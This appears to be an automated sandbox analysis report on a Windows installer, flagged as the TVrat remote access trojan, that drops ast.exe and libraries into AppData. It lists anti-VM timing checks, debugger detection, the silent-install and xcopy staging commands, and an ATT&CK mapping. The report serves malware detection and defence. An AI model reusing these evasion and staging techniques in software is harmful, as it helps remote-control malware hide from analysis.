Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'

Tries to delay execution (extensive OutputDebugStringW loop)

Source: C:\Users\user\AppData\Roaming\im\ast.exe

Section loaded: OutputDebugStringW count: 1837

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Roaming\im\ast.exe	RDTSC instruction interceptor: First address: 69B27E second address: 69B284 instructions: 0x00000000 rdtsc 0x00000002 mov edi, edx 0x00000004 mov ebx, eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Roaming\im\ast.exe	RDTSC instruction interceptor: First address: 69B284 second address: 69B294 instructions: 0x00000000 rdtsc 0x00000002 cmp edi, edx 0x00000004 jne 00007F86D453B8C6h 0x00000006 sub eax, ebx 0x00000008 mov dword ptr [ebp-04h], eax 0x0000000b mov ecx, 0000000Ah 0x00000010 rdtsc
Source: C:\Users\user\AppData\Roaming\im\ast.exe	RDTSC instruction interceptor: First address: 69B294 second address: 69B29A instructions: 0x00000000 rdtsc 0x00000002 mov edi, edx 0x00000004 mov ebx, eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Roaming\im\ast.exe	RDTSC instruction interceptor: First address: 69B29A second address: 69B294 instructions: 0x00000000 rdtsc 0x00000002 cmp edi, edx 0x00000004 jne 00007F86D453B8C6h 0x00000006 sub eax, ebx 0x00000008 cmp eax, dword ptr [ebp-04h] 0x0000000b jnle 00007F86D453B8D5h 0x0000000d mov dword ptr [ebp-04h], eax 0x00000010 dec ecx 0x00000011 jne 00007F86D453B8B9h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Roaming\im\ast.exe	RDTSC instruction interceptor: First address: 69B29A second address: 69B294 instructions: 0x00000000 rdtsc 0x00000002 cmp edi, edx 0x00000004 jne 00007F86D453B8C6h 0x00000006 sub eax, ebx 0x00000008 cmp eax, dword ptr [ebp-04h] 0x0000000b jnle 00007F86D453B8D5h 0x0000000d dec ecx 0x0000000e jne 00007F86D453B8B9h 0x00000010 rdtsc

Source: C:\Users\user\AppData\Roaming\im\ast.exe

Window / User API: threadDelayed 1473

Jump to behavior

Source: C:\Users\user\AppData\Roaming\im\ast.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_10-26681

Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mo6x\is-2G518.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mo6x\is-VCJTB.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\im\msvcr120.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mo6x\is-KGLTC.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\im\aw_sas32.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mo6x\is-JCPUK.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\im\libeay32.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mo6x\is-88TFK.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\im\libjpeg-turbo-win.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-H2GRU.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mo6x\is-951GK.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-1C94S.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mo6x\is-5IUGA.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\im\astrct.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mo6x\libjpeg-turbo-win.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mo6x\astclient.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mo6x\msvcr120.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mo6x\libeay32.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\im\astclient.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mo6x\is-SD6OU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mo6x\is-PDD2G.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mo6x\aw_sas32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mo6x\is-UA1D6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-H2GRU.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mo6x\is-4POLO.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\im\opus.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mo6x\libcryptoMD.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mo6x\is-82POG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mo6x\astrct.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\im\hatls.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mo6x\hatls.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mo6x\is-2EBQK.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-1C94S.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\im\libcurl.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mo6x\is-ND9BQ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mo6x\opus.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\im\libcryptoMD.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mo6x\libcurl.dll (copy)	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\im\ast.exe TID: 7012

Thread sleep time: -710000s >= -30000s

Jump to behavior

Source: C:\Users\user\AppData\Roaming\im\ast.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\im\ast.exe

Thread sleep count: Count: 1473 delay: -10

Jump to behavior

Source: C:\Users\user\AppData\Roaming\im\ast.exe

Code function: 11_2_07065021 lstrcat,FindFirstFileA,lstrcat,FindNextFileA,FindClose,

11_2_07065021

Source: ast.exe.9.dr	Binary or memory string: VMware
Source: ast.exe, 0000000B.00000002.2513073562.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll8
Source: ast.exe.9.dr	Binary or memory string: VBoxService.exe
Source: ast.exe, 0000000B.00000002.2513073562.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wjpP1EOX0L.tmp, 00000001.00000002.1718627243.00000000006EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\{
Source: ast.exe, 0000000A.00000002.2979445587.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll{{L
Source: ast.exe.9.dr	Binary or memory string: VMWare
Source: ast.exe.9.dr	Binary or memory string: VBoxService.exeU

Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\im\ast.exe

Code function: 10_2_6B91EB81 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

10_2_6B91EB81

Source: C:\Users\user\AppData\Roaming\im\ast.exe

10_2_6B90AE50

Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B931C01 mov eax, dword ptr fs:[00000030h]		10_2_6B931C01
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B92C43E mov eax, dword ptr fs:[00000030h]		10_2_6B92C43E

Source: C:\Users\user\AppData\Roaming\im\ast.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B91EB81 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_6B91EB81
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B92EFE1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_6B92EFE1
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B91DC3A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_6B91DC3A

Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Process created: C:\Users\user\Desktop\wjpP1EOX0L.exe "C:\Users\user\Desktop\wjpP1EOX0L.exe" /verysilent /password=uzx1m	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\xcopy.exe xcopy /Y /I /S "C:\Users\user\AppData\Local\Temp\mo6x\*" "C:\Users\user\AppData\Roaming\im\"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\im\ast.exe "C:\Users\user\AppData\Roaming\im\ast.exe"	Jump to behavior

Source: ast.exe, 0000000A.00000000.2386068044.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, ast.exe.9.dr	Binary or memory string: Shell_TrayWndSVW
Source: ast.exe, 0000000A.00000000.2386068044.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, ast.exe.9.dr	Binary or memory string: Shell_TrayWnd
Source: ast.exe, 0000000A.00000000.2386068044.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, ast.exe.9.dr	Binary or memory string: Shell_TrayWndReBarWindow32MSTaskSwWClassToolbarWindow32SVW
Source: ast.exe, 0000000A.00000000.2386068044.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, ast.exe.9.dr	Binary or memory string: Shell_TrayWndTrayNotifyWndSV

Source: C:\Users\user\AppData\Roaming\im\ast.exe

Code function: 10_2_6B91ED5B cpuid

10_2_6B91ED5B

Source: C:\Users\user\AppData\Roaming\im\ast.exe

Code function: 10_2_6B92FBD1 GetSystemTimeAsFileTime,

10_2_6B92FBD1

Source: C:\Users\user\AppData\Roaming\im\ast.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: ast.exe, 0000000B.00000003.2498022961.0000000007063000.00000040.00000001.01000000.0000000E.sdmp

Binary or memory string: PROCEXP.EXE

Stealing of Sensitive Information

Yara detected TVrat

Source: Yara match	File source: 10.0.ast.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000000.2386068044.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ast.exe PID: 8036, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\im\ast.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\mo6x\is-ERH6U.tmp, type: DROPPED

Remote Access Functionality

Yara detected TVrat

Source: Yara match	File source: 10.0.ast.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000000.2386068044.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ast.exe PID: 8036, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\im\ast.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\mo6x\is-ERH6U.tmp, type: DROPPED

Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B906D50 socket,socket,htonl,setsockopt,bind,getsockname,listen,socket,connect,accept,curl_msnprintf,send,recv,closesocket,closesocket,closesocket,closesocket,closesocket,	10_2_6B906D50
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B8D39A0 curl_pushheader_bynum,inet_pton,htons,inet_pton,htons,htons,htons,bind,htons,htons,bind,getsockname,WSAGetLastError,WSAGetLastError,	10_2_6B8D39A0
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B8DEEA0 ___from_strstr_to_strchr,_strncpy,___from_strstr_to_strchr,inet_pton,_strncpy,___from_strstr_to_strchr,___from_strstr_to_strchr,curl_pushheader_bynum,getsockname,WSAGetLastError,WSAGetLastError,htons,bind,WSAGetLastError,getsockname,WSAGetLastError,getsockname,WSAGetLastError,listen,WSAGetLastError,htons,htons,curl_msnprintf,curl_easy_strerror,curl_easy_strerror,	10_2_6B8DEEA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	2 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	1 System Time Discovery	Remote Services	12 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	12 Process Injection	3 Obfuscated Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Software Packing	Security Account Manager	133 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	331 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	23 Virtualization/Sandbox Evasion	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	23 Virtualization/Sandbox Evasion	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	2 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
wjpP1EOX0L.exe	8%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\is-1C94S.tmp\_isetup\_iscrypt.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-1C94S.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-H2GRU.tmp\_isetup\_iscrypt.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-H2GRU.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	3%	ReversingLabs
